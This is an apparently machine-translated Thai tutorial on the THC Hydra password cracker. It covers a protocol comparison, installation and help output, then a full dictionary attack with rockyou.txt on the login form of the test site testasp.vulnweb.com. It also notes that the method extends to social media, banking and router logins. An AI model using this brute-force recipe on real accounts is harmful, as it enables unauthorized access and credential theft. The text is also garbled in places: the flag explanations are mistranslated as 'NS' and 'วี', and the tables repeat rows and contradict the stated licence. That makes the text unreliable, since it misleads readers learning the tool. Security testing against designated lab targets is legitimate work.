รหัสผ่านถูกกำหนดในทางเทคนิคเป็นสตริงอักขระลับที่ใช้ตรวจสอบสิทธิ์หรือเข้าถึงทรัพยากร ต้องเก็บเป็นความลับและซ่อนจากผู้อื่นที่ไม่ได้รับอนุญาตให้เข้าถึงทรัพยากรเหล่านั้น รหัสผ่านถูกใช้กับคอมพิวเตอร์ตั้งแต่วันแรกของการคำนวณ ระบบการแบ่งปันครั้งแรกเปิดตัวในปี 2504 มีคำสั่งเข้าสู่ระบบที่ขอรหัสผ่านผู้ใช้ หลังจากพิมพ์ PASSWORD ระบบจะปิดกลไกการพิมพ์หากเป็นไปได้ เพื่อให้ผู้ใช้พิมพ์รหัสผ่านด้วยความเป็นส่วนตัว
ความแข็งแกร่งของรหัสผ่านเป็นหน้าที่ของความยาว ความซับซ้อน และคาดเดาไม่ได้ มันวัดประสิทธิภาพในการต่อต้านการเดาหรือทำลายมัน ในทางกลับกัน รหัสผ่านที่ไม่รัดกุม จะช่วยย่นเวลาที่จำเป็นในการเดาและเข้าถึงอีเมลส่วนตัว/ของบริษัท ข้อมูลที่ละเอียดอ่อน เช่น ข้อมูลทางการเงิน ข้อมูลธุรกิจ บัตรเครดิต ฯลฯ
มีหลายวิธีที่รหัสผ่านอาจอ่อนแอซึ่งสอดคล้องกับพลังจุดแข็งของแผนการโจมตีต่างๆ การโจมตีด้วยข้อมูลประจำตัวที่ได้รับความนิยมมากที่สุดคือกำลังเดรัจฉาน มันเป็นวิธีการทดลองและข้อผิดพลาดเช่นการเดาพยายามถอดรหัสข้อมูลที่เข้ารหัสเช่นรหัสผ่านหรือการเข้ารหัสข้อมูลที่ใช้โดยโปรแกรมแอปพลิเคชันหรือเครื่องมือแฮ็ค
Hydra เป็นแคร็กเกอร์การเข้าสู่ระบบเครือข่ายที่เร็วที่สุดซึ่งสนับสนุนโปรโตคอลการโจมตีจำนวนมาก มีความรวดเร็วและยืดหยุ่นสูง และเพิ่มโมดูลใหม่ได้ง่าย เครื่องมือนี้ช่วยให้นักวิจัยและที่ปรึกษาด้านความปลอดภัยสามารถแสดงให้เห็นว่าการเข้าถึงระบบจากระยะไกลโดยไม่ได้รับอนุญาตนั้นง่ายเพียงใด Hydra เขียนโดย Van Hauser และ David Maciejak สนับสนุนเพิ่มเติม ในการพัฒนาไฮดราอัปเดตล่าสุดจะถูกย้ายไปยังที่เก็บ github สาธารณะที่: https://github.com/vanhauser-thc/thc-hydra
Hydra ได้รับการทดสอบเพื่อคอมไพล์บน Linux, Windows/Cygwin, Solaris 11, FreeBSD 8.1, OpenBSD, OSX,QNX/Blackberry และให้บริการภายใต้ GPLv3 พร้อมการขยายสิทธิ์ใช้งาน OpenSSL พิเศษ
THC Hydra รองรับโปรโตคอลเหล่านี้: Cisco AAA, Cisco auth, Cisco enable, CVS, FTP, HTTP(S)-FORM-GET, HTTP(S)-FORM-POST, HTTP(S)-GET, HTTP(S)-HEAD , HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MS-SQL, MySQL, NNTP, Oracle Listener, Oracle SID, PC-Anywhere, PC-NFS, POP3, PostgreSQL, RDP, Rexec, Rlogin, Rsh, SIP, SMB (NT), SMTP, SMTP Enum, SNMP v1+v2+v3, SOCKS5, SSH (v1 และ v2), SSHKEY, Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC และ XMPP
การเปรียบเทียบไฮดรากับเครื่องมือแตกร้าวอื่นๆ
นอกจากนี้ยังมีเครื่องมือการเข้าสู่ระบบแคร็กเกอร์มากมายนอกเหนือจากไฮดรา แต่ไม่มีเครื่องมือใดที่รองรับรายการโปรโตคอลจำนวนมากและการรองรับแคร็กเกอร์การเข้าสู่ระบบแบบขนานเหมือนที่ไฮดราทำ ตารางด้านล่างแสดงผลของคุณสมบัติ บริการ และการเปรียบเทียบความเร็วกับเมดูซ่าและแคร็ก
คุณสมบัติ
ลักษณะเฉพาะ | ไฮดรา | แมงกระพรุน | Ncrack |
ใบอนุญาต | AGPLv3 | GPLv2 | เงื่อนไข GPLv2 + Nmap |
รองรับ IPv6 | ใช่ | เลขที่ | เลขที่ |
ส่วนต่อประสานกราฟิกกับผู้ใช้ | ใช่ | ใช่ | เลขที่ |
การสนับสนุนที่เป็นสากล (RFC 4013) | ใช่ | เลขที่ | เลขที่ |
รองรับพร็อกซี HTTP | ใช่ | ใช่ | เลขที่ |
การสนับสนุนพร็อกซี SOCKS | ใช่ | เลขที่ | เลขที่ |
โปรโตคอลที่รองรับ | 51 | 22 | 7 |
บริการ
บริการ | รายละเอียด | ไฮดรา | แมงกระพรุน | Ncrack |
ADAM-6500 | ใช่ | เลขที่ | เลขที่ | |
เอเอฟพี | ใช่ | ใช่ | เลขที่ | |
เครื่องหมายดอกจัน | ใช่ | เลขที่ | เลขที่ | |
รหัสผ่านของซิสโก้ | ใช่ | เลขที่ | เลขที่ | |
Cisco Enable | ใช่ | เลขที่ | เลขที่ | |
CVS | ใช่ | ใช่ | เลขที่ | |
ไฟร์เบิร์ด | ใช่ | เลขที่ | เลขที่ | |
FTP | ใช่ | ใช่ | ใช่ | |
รองรับ SSL | AUTH TLS & FTP ผ่าน SSL | AUTH TLS & FTP ผ่าน SSL | เลขที่ | |
HTTP | วิธีการ | รับ หัว โพสต์ | รับ | รับ |
การตรวจสอบสิทธิ์ขั้นพื้นฐาน | ใช่ | ใช่ | ใช่ | |
แบบฟอร์ม HTTP | วิธีการ | รับโพสต์ | รับโพสต์ | เลขที่ |
รองรับ SSL | HTTPS | HTTPS | เลขที่ | |
พร็อกซี HTTP | การตรวจสอบสิทธิ์ขั้นพื้นฐาน | ใช่ | เลขที่ | เลขที่ |
DIGEST-MD5 รับรองความถูกต้อง | ใช่ | เลขที่ | เลขที่ | |
NTLM รับรองความถูกต้อง | ใช่ | เลขที่ | เลขที่ | |
รองรับ SSL | HTTPS | เลขที่ | เลขที่ | |
การแจงนับ URL HTTP PROXY | ใช่ | เลขที่ | เลขที่ | |
ICQ | v5 | ใช่ 1 | เลขที่ | เลขที่ |
IMAP | เข้าสู่ระบบสนับสนุน | ใช่ | ใช่ | เลขที่ |
รองรับการเข้าสู่ระบบ AUTH | ใช่ | เลขที่ | เลขที่ | |
รองรับ AUTH PLAIN | ใช่ | ใช่ | เลขที่ | |
รองรับ AUTH CRAM-MD5 | ใช่ | เลขที่ | เลขที่ | |
รองรับ AUTH CRAM-SHA1 | ใช่ | เลขที่ | เลขที่ | |
รองรับ AUTH CRAM-SHA256 | ใช่ | เลขที่ | เลขที่ | |
รองรับ AUTH DIGEST-MD5 | ใช่ | เลขที่ | เลขที่ | |
รองรับ AUTH NTLM | ใช่ | ใช่ | เลขที่ | |
AUTH SCRAM-SHA1 รองรับ | ใช่ | เลขที่ | เลขที่ | |
รองรับ SSL | IMAPS & STARTTLS | IMAPS & STARTTLS | เลขที่ | |
IRC | รหัสผ่านเซิร์ฟเวอร์ทั่วไป | ใช่ | เลขที่ | เลขที่ |
รหัสผ่านโหมด OPER | ใช่ | เลขที่ | เลขที่ | |
LDAP | v2 การสนับสนุนที่เรียบง่าย | ใช่ | เลขที่ | เลขที่ |
v3 การสนับสนุนที่เรียบง่าย | ใช่ | เลขที่ | เลขที่ | |
v3, รองรับ AUTH CRAM-MD5 | ใช่ | เลขที่ | เลขที่ | |
รองรับ AUTH DIGEST-MD5 | ใช่ | |||
รองรับ AUTH NTLM | ใช่ | ใช่ | ||
AUTH SCRAM-SHA1 รองรับ | ใช่ | |||
รองรับ SSL | IMAPS & STARTTLS | IMAPS & STARTTLS | ||
IRC | รหัสผ่านเซิร์ฟเวอร์ทั่วไป | ใช่ | ||
รหัสผ่านโหมด OPER | ใช่ | |||
LDAP | v2 การสนับสนุนที่เรียบง่าย | ใช่ | ||
v3 การสนับสนุนที่เรียบง่าย | ใช่ | |||
v3, รองรับ AUTH CRAM-MD5 | ใช่ | |||
v3, รองรับ AUTH DIGEST-MD5 | ใช่ | |||
MS-SQL | ใช่ | ใช่ | ||
MySQL | v3.x | ใช่ | ใช่ | |
v4.x | ใช่ | ใช่ | ||
v5.x | ใช่ | ใช่ | ||
NCP | ใช่ | ใช่ | ||
NNTP | การสนับสนุนผู้ใช้ | ใช่ | ใช่ | |
รองรับการเข้าสู่ระบบ AUTH | ใช่ | |||
รองรับ AUTH PLAIN | ใช่ | |||
รองรับ AUTH CRAM-MD5 | ใช่ | |||
รองรับ AUTH DIGEST-MD5 | ใช่ | |||
รองรับ AUTH NTLM | ใช่ | |||
รองรับ SSL | STARTTLS & NNTP ผ่าน SSL | |||
Oracle | ฐานข้อมูล | ใช่ | ใช่ | |
TNS Listener | ใช่ | |||
การแจงนับ SID | ใช่ | |||
PC-NFS | ใช่ | |||
pcAnywhere | การรับรองความถูกต้องดั้งเดิม | ใช่ | ใช่ | |
การรับรองความถูกต้องตามระบบปฏิบัติการ (MS) | ใช่ | |||
POP3 | การสนับสนุนผู้ใช้ | ใช่ | ใช่ | ใช่ |
สนับสนุน APOP | ใช่ | |||
รองรับการเข้าสู่ระบบ AUTH | ใช่ | ใช่ | ||
รองรับ AUTH PLAIN | ใช่ | ใช่ | ||
รองรับ AUTH CRAM-MD5 | ใช่ | |||
รองรับ AUTH CRAM-SHA1 | ใช่ | |||
รองรับ AUTH CRAM-SHA256 | ใช่ | |||
รองรับ AUTH DIGEST-MD5 | ใช่ | |||
รองรับ AUTH NTLM | ใช่ | ใช่ | ||
รองรับ SSL | POP3S & STARTTLS | POP3S & STARTTLS | POP3S | |
PostgreSQL | ใช่ | ใช่ | ||
เครื่องหมายดอกจัน | ใช่ | |||
RDP | Windows Workstation | ใช่ | ใช่ | ใช่ |
Windows Server | ใช่ | ใช่ | ||
การตรวจสอบโดเมน | ใช่ | ใช่ | ||
REDIS | ใช่ | เลขที่ | ||
REXEC | ใช่ | ใช่ | ||
RLOGIN | ใช่ | ใช่ | ||
RPCAP | ใช่ | เลขที่ | ||
RSH | ใช่ | ใช่ | ||
RTSP | ใช่ | เลขที่ | ||
SAP R / 3 | ใช่ | |||
ซีเมนส์ S7-300 | ใช่ | |||
จิบ | ใช่ | |||
รองรับ SSL | SIP ผ่าน SSL | |||
SMB | โหมด NetBIOS | ใช่ | ใช่ | เลขที่ |
โหมดเนทีฟ W2K | ใช่ | ใช่ | ใช่ | |
โหมดแฮช | ใช่ | ใช่ | เลขที่ | |
ล้างข้อความรับรองความถูกต้อง | ใช่ | ใช่ | ||
LMv1 รับรองความถูกต้อง | ใช่ | ใช่ | ใช่ | |
LMv2 รับรองความถูกต้อง | ใช่ | ใช่ | ใช่ | |
NTLMv1 รับรองความถูกต้อง | ใช่ | ใช่ | ใช่ | |
NTLMv2 รับรองความถูกต้อง | ใช่ | ใช่ | ใช่ | |
SMTP | รองรับการเข้าสู่ระบบ AUTH | ใช่ | ใช่ | |
รองรับ AUTH PLAIN | ใช่ | ใช่ | ||
รองรับ AUTH CRAM-MD5 | ใช่ | |||
รองรับ AUTH DIGEST-MD5 | ใช่ | |||
รองรับ AUTH NTLM | ใช่ | ใช่ | ||
รองรับ SSL | SMTPS & STARTTLS | SMTPS & STARTTLS | ||
ผู้ใช้ SMTP Enum | VRFY cmd | ใช่ | ใช่ | |
EXPN cmd | ใช่ | ใช่ | ||
RCPT ถึง cmd | ใช่ | ใช่ | ||
SNMP | v1 | ใช่ | ใช่ | |
v2c | ใช่ | ใช่ | ||
v3 | (MD5/SHA1 รับรองความถูกต้องเท่านั้น) | |||
ถุงเท้า | v5, การตรวจสอบรหัสผ่าน | ใช่ | ||
SSH | v1 | ใช่ | ||
v2 | ใช่ | ใช่ | ใช่ | |
คีย์ SSH | v1, v2 | ใช่ | ||
การโค่นล้ม (SVN) | ใช่ | ใช่ | ||
TeamSpeak | TS2 | ใช่ | ||
Telnet | ใช่ | ใช่ | ใช่ | |
XMPP | รองรับการเข้าสู่ระบบ AUTH | ใช่ | ||
รองรับ AUTH PLAIN | ใช่ | |||
รองรับ AUTH CRAM-MD5 | ใช่ | |||
รองรับ AUTH DIGEST-MD5 | ใช่ | |||
AUTH SCRAM-SHA1 รองรับ | ใช่ | |||
VMware Auth Daemon | v1.00 / v1.10 | ใช่ | ใช่ | |
รองรับ SSL | ใช่ | ใช่ | ||
VNC | รองรับรหัสผ่าน RFB 3.x | ใช่ | ใช่ | |
รองรับผู้ใช้ RFB 3.x + รหัสผ่าน | (เฉพาะ UltraVNC) | |||
รองรับรหัสผ่าน RFB 4.x | ใช่ | ใช่ | ||
รองรับผู้ใช้ RFB 4.x + รหัสผ่าน | (เฉพาะ UltraVNC) |
เปรียบเทียบความเร็ว
ความเร็ว (เป็นวินาที) | ไฮดรา | แมงกระพรุน | Ncrack |
1 โมดูลงาน / FTP | 11.93 | 12.97 | 18.01 |
4 งาน / โมดูล FTP | 4.20 | 5.24 | 9.01 |
16 งาน / โมดูล FTP | 2.44 | 2.71 | 12.01 |
1 งาน / โมดูล SSH v2 | 32.56 | 33.84 | 45.02 |
4 งาน / โมดูล SSH v2 | 10.95 | แตกหัก | พลาด |
16 งาน / โมดูล SSH v2 | 5.14 | แตกหัก | พลาด |
นั่นเป็นการแนะนำง่ายๆ สั้นๆ เกี่ยวกับไฮดรา ตอนนี้ให้ย้ายไปที่การติดตั้ง
การติดตั้งไฮดรา
Hydra ได้รับการติดตั้งไว้ล่วงหน้าบน kali linux อย่างไรก็ตาม หากคุณมีระบบปฏิบัติการอื่น คุณสามารถคอมไพล์และติดตั้งบนระบบของคุณได้ ในปัจจุบัน การสนับสนุนของ hydra บนแพลตฟอร์มต่างๆ:
- แพลตฟอร์ม UNIX ทั้งหมด (Linux, *bsd, Solaris เป็นต้น)
- MacOS (โดยทั่วไปเป็นโคลน BSD)
- Windows พร้อม Cygwin (ทั้ง IPv4 และ IPv6)
- ระบบมือถือที่ใช้ Linux, MacOS หรือ QNX (เช่น Android, iPhone, Blackberry 10, Zaurus, iPaq)
หากต้องการดาวน์โหลด กำหนดค่า คอมไพล์และติดตั้ง hydra เพียงพิมพ์ลงในเทอร์มินัล:
git clone https://github.com/vanhauser-thc/thc-hydra.git cd thc-hydra ./configure make make install
หากคุณมี Ubuntu/Debian คุณจะต้องใช้ไลบรารีที่ขึ้นต่อกัน:
apt install libssl-dev libssh-dev libidn11-dev libpcre3-dev libgtk2.0-dev libmysqlclient-dev libpq-dev libsvn-dev firebird-dev libncp-dev
หากคุณไม่พบไลบรารีเหล่านั้นในที่เก็บของคุณ คุณต้องดาวน์โหลดและติดตั้งด้วยตนเอง
วิธีใช้ไฮดรา
ยินดีด้วย ตอนนี้คุณติดตั้งไฮดราบนระบบของคุณสำเร็จแล้ว อันที่จริง Hydra มาพร้อมกับสองรสชาติ GUI-gtk และเวอร์ชัน CLI ที่ฉันโปรดปราน และนอกจากนี้ hydra ยังมี CLI guided version ซึ่งเรียกว่า hydra-wizard คุณจะได้รับคำแนะนำทีละขั้นตอนแทนการพิมพ์คำสั่งหรืออาร์กิวเมนต์ทั้งหมดด้วยตนเองลงในเทอร์มินัล ในการรัน hydra จากประเภทเทอร์มินัลของคุณ:
สำหรับ CLI:
hydra
สำหรับตัวช่วยสร้าง CLI:
hydra-wizard
สำหรับ GUI:
xhydra
หลังจากที่คุณพิมพ์ 'hydra' จะแสดงคำสั่งช่วยเหลือดังนี้:
[email protected] :~# hydra -h Hydra v8.6 (c)2017 by van Hauser/THC & David Maciejak - for legal purposes only Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-SuvV46] [service://server[:PORT][/OPT]] Options: -R restore a previous aborted/crashed session -S perform an SSL connect -s PORT if the service is on a different default port, define it here -l LOGIN or -L FILE login with LOGIN name, or load several logins from FILE -p PASS or -P FILE try password PASS, or load several passwords from FILE -x MIN:MAX:CHARSET password bruteforce generation, type '-x -h' to get help -e nsr try 'n' null password, 's' login as pass and/or 'r' reversed login -u loop around users, not passwords (effective! implied with -x) -C FILE colon separated 'login:pass' format, instead of -L/-P options -M FILE list of servers to be attacked in parallel, one entry per line -o FILE write found login/password pairs to FILE instead of stdout -f / -F exit when a login/pass pair is found (-M: -f per host, -F global) -t TASKS run TASKS number of connects in parallel (per host, default: 16) -w / -W TIME waittime for responses (32s) / between connects per thread -4 / -6 prefer IPv4 (default) or IPv6 addresses -v / -V / -d verbose mode / show login+pass for each attempt / debug mode -U service module usage details server the target server (use either this OR the -M option) service the service to crack (see below for supported protocols) OPT some service modules support additional input (-U for module help) Supported services: asterisk afp cisco cisco-enable cvs firebird ftp ftps http[s]-head http[s]-post-form http-proxy http-proxy-urlenum icq imap[s] irc ldap2[s] ldap3[-crammd5][s] mssql mysql ncp nntp oracle-listener oracle-sid pcanywhere pcnfs pop3[s] postgres rdp rexec rlogin rsh s7-300 sip smb smtp[s] smtp-enum snmp socks5 ssh sshkey svn teamspeak telnet[s] vmauthd vnc xmpp Hydra is a tool to guess/crack valid login/password pairs - usage only allowed for legal purposes. This tool is licensed under AGPL v3.0. The newest version is always available at http://www.thc.org/thc-hydra These services were not compiled in: sapr3 oracle. Use HYDRA_PROXY_HTTP or HYDRA_PROXY - and if needed HYDRA_PROXY_AUTH - environment for a proxy setup. E.g.: % export HYDRA_PROXY=socks5://127.0.0.1:9150 (or socks4:// or connect://) % export HYDRA_PROXY_HTTP=http://proxy:8080 % export HYDRA_PROXY_AUTH=user:pass Examples: hydra -l user -P passlist.txt ftp://192.168.0.1 hydra -L userlist.txt -p defaultpw imap://192.168.0.1/PLAIN hydra -C defaults.txt -6 pop3s://[fe80::2c:31ff:fe12:ac11]:143/TLS:DIGEST-MD5 hydra -l admin -p password ftp://[192.168.0.0/24]/ hydra -L logins.txt -P pws.txt -M targets.txt ssh
Bruteforce เข้าสู่ระบบบนเว็บด้วย hydra
Hydra รองรับบริการดุร้ายบางอย่างดังที่ฉันได้กล่าวไว้ก่อนหน้านี้หนึ่งในนั้นใช้เพื่อเข้าสู่ระบบทางเว็บอย่างดุเดือดเช่นแบบฟอร์มการเข้าสู่ระบบโซเชียลมีเดียแบบฟอร์มการเข้าสู่ระบบธนาคารผู้ใช้การเข้าสู่ระบบเว็บเราเตอร์ของคุณ ฯลฯ นั้น http[s]-get-form ซึ่งจะจัดการกับคำขอนี้ ในบทช่วยสอนนี้ ฉันจะแสดงให้คุณเห็นถึงวิธีการบังคับการเข้าสู่ระบบเว็บที่มีช่องโหว่ ก่อนที่เราจะจุดไฟไฮดราเราควรทราบข้อโต้แย้งที่จำเป็นดังต่อไปนี้:
- เป้า : http://testasp.vulnweb.com/Login.asp?RetURL=%2FDefault%2Easp%3F
- ชื่อผู้ใช้เข้าสู่ระบบ : ผู้ดูแลระบบ (ถ้าไม่มั่นใจก็เดรัจฉานนี้)
- รายการรหัสผ่าน : ตำแหน่งของรายการไฟล์พจนานุกรมที่มีรหัสผ่านที่เป็นไปได้
- พารามิเตอร์แบบฟอร์ม : โดยทั่วไป ให้ใช้ข้อมูลการงัดแงะหรือพร็อกซีเพื่อรับรูปแบบของพารามิเตอร์คำขอ แต่ที่นี่ฉันใช้ iceweasel, firefox based, แถบเครื่องมือสำหรับนักพัฒนาเครือข่าย
- โมดูลบริการ : http-post-form
Help for module http-post-form: ============================================================================ Module http-post-form requires the page and the parameters for the web form. By default this module is configured to follow a maximum of 5 redirections in a row. It always gathers a new cookie from the same URL without variables The parameters take three ':' separated values, plus optional values. (Note: if you need a colon in the option string as value, escape it with ':', but do not escape a '' with '\'.) Syntax: [url]:[form parameters]:[condition string][:(optional)[:(optional)] First is the page on the server to GET or POST to (URL). Second is the POST/GET variables (taken from either the browser, proxy, etc. with usernames and passwords being replaced in the '^USER^' and '^PASS^' placeholders (FORM PARAMETERS) Third is the string that it checks for an *invalid* login (by default) Invalid condition login check can be preceded by 'F=', successful condition login check must be preceded by 'S='. This is where most people get it wrong. You have to check the webapp what a failed string looks like and put it in this parameter! The following parameters are optional: C=/page/uri to define a different page to gather initial cookies from (h|H)=My-Hdr: foo to send a user defined HTTP header with each request ^USER^ and ^PASS^ can also be put into these headers! Note: 'h' will add the user-defined header at the end regardless it's already being sent by Hydra or not. 'H' will replace the value of that header if it exists, by the one supplied by the user, or add the header at the end Note that if you are going to put colons (:) in your headers you should escape them with a backslash (). All colons that are not option separators should be escaped (see the examples above and below). You can specify a header without escaping the colons, but that way you will not be able to put colons in the header value itself, as they will be interpreted by hydra as option separators.
รับพารามิเตอร์โพสต์โดยใช้เบราว์เซอร์ iceweasel/firefox
ในเบราว์เซอร์ Firefox ของคุณให้กดปุ่ม ' CTRL + SHIFT + Q '. จากนั้นเปิดหน้าเข้าสู่ระบบเว็บhttp://testasp.vulnweb.com/Login.asp?RetURL=%2FDefault%2Easp%3Fคุณจะสังเกตเห็นข้อความปรากฏขึ้นบนแท็บนักพัฒนาเครือข่าย มันบอกคุณว่าไฟล์ใดที่โอนมาให้เรา ดูวิธีการทั้งหมดเป็น GET เนื่องจากเรายังไม่ได้โพสต์ข้อมูลใดๆ
หากต้องการรับพารามิเตอร์หลังแบบฟอร์ม ให้พิมพ์อะไรก็ได้ในแบบฟอร์มชื่อผู้ใช้และหรือรหัสผ่าน คุณจะสังเกตเห็นวิธี POST ใหม่ในแท็บนักพัฒนาเครือข่าย ดับเบิลคลิกที่บรรทัดนั้น บนแท็บ Headers คลิกปุ่ม Edit and Resend ทางด้านขวา ในเนื้อหาคำขอ ให้คัดลอกบรรทัดสุดท้าย เช่น tfUName = asu & tfUPass = raimu . NS tfUNชื่อ และ tfUPass เป็นพารามิเตอร์ที่เราต้องการ ตามที่เห็นด้านล่าง:
Kali linux มีรายการคำศัพท์มากมาย เลือกรายการคำศัพท์ที่เหมาะสมหรือใช้ rockyou.txt ใน /usr/share/รายการคำศัพท์/ ดังที่เห็นด้านล่าง:
เอาล่ะ เรามีข้อโต้แย้งทั้งหมดที่เราต้องการแล้ว และพร้อมที่จะจุดไฟไฮดรา นี่คือรูปแบบคำสั่ง:
hydra -l -P [/code] Finally, based on information we have gathered, our commands ahould look something like this: hydra -l admin -P /usr/share/wordlists/rockyou.txt testasp.vulnweb.com http-post-form '/Login.asp?RetURL=%2FDefault%2Easp%3F:tfUName=^USER^&tfUPass=^PASS^:S=logout' -vV -f
มาแยกย่อยคำสั่ง:
- NS : เป็นคำที่มีชื่อผู้ใช้ ให้ใช้ -L เพื่ออ้างอิงรายการชื่อผู้ใช้ที่เป็นไปได้ในไฟล์
- NS : เป็นรายการไฟล์ของรหัสผ่านที่เป็นไปได้ ใช้ -p เพื่อใช้รหัสผ่านคำเดียวแทนการเดา
- testapp.vunlwebapp.com : เป็นชื่อโฮสต์หรือเป้าหมาย
- http-post-form : เป็นโมดูลบริการที่เราใช้
- /Login.asp?RetURL=%2FDefault%2Easp%3F:tfUName=^USER^&tfUPass=^PASS^:S=logout = ต้องการ 3 พารามิเตอร์ ไวยากรณ์คือ:
{URL หน้า}:{ขอพารามิเตอร์แบบฟอร์มเนื้อหาโพสต์}:S={ค้นหาอะไรก็ได้ในหน้าหลังจากเข้าสู่ระบบสำเร็จแล้ว} - วี = โหมดละเอียด
- วี = แสดงการเข้าสู่ระบบ: ผ่านสำหรับความพยายามแต่ละครั้ง
- NS = ยุติโปรแกรมหากพบการเข้าสู่ระบบคู่: รหัสผ่าน
ตอนนี้ให้ไฮดราพยายามทำลายรหัสผ่านสำหรับเรา มันต้องใช้เวลาเพราะมันเป็นการโจมตีจากพจนานุกรม เมื่อคุณค้นหาคู่ของ login:password hydra ได้สำเร็จ จะหยุดงานทันทีและแสดงข้อมูลรับรองที่ถูกต้อง
มีหลายอย่างที่ hydra สามารถทำได้ เนื่องจากในบทช่วยสอนนี้ เราเพิ่งเรียนรู้วิธี bruteforce การเข้าสู่ระบบบนเว็บโดยใช้ hydra เราเรียนรู้เพียงโปรโตคอลเดียว นั่นคือโปรโตคอล http-post-form นอกจากนี้เรายังสามารถใช้ไฮดรากับโปรโตคอลอื่นเช่น ssh, ftp, telnet, VNC, proxy เป็นต้น